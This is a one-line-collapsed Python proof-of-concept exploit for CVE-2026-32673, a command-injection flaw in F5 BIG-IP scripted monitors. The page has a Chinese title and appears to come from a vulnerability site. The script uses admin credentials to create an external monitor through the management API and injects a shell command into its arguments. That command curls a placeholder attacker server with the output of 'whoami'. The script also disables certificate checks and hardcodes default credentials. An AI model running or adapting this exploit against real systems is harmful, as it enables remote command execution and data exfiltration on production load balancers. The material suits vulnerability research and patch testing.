CVE-2026-32673 F5 BIG-IP 脚本化监控器权限提升漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-32673 Demonstrates command injection via F5 BIG-IP Scripted Monitor. Requires Administrator or Resource Administrator privileges. """ import requests import urllib3 # Disable SSL warnings for lab environments urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target_ip, username, password): # F5 BIG-IP API endpoint for External Monitors base_url = f"https://{target_ip}/mgmt/tm/ltm/monitor/external" # Authentication auth = (username, password) headers = {'Content-Type': 'application/json'} # Malicious payload: Injecting a shell command within the monitor script argument # The vulnerability allows arbitrary command execution via the script configuration monitor_name = "poc_exploit_monitor" malicious_command = "; /bin/bash -c 'curl http://attacker-server/$(whoami)'" payload = { "name": monitor_name, "filename": "/Common/sample_external_monitor", "args": malicious_command # Injection point } try: print(f"[*] Attempting to create monitor on {target_ip}...") response = requests.post(base_url, json=payload, auth=auth, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] Monitor created successfully. Check your listener for command execution.") print("[+] Note: The monitor must be associated with a pool member to trigger execution.") else: print(f"[-] Failed to create monitor. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual lab credentials TARGET_IP = "192.168.1.100" USER = "admin" PASS = "admin" exploit(TARGET_IP, USER, PASS)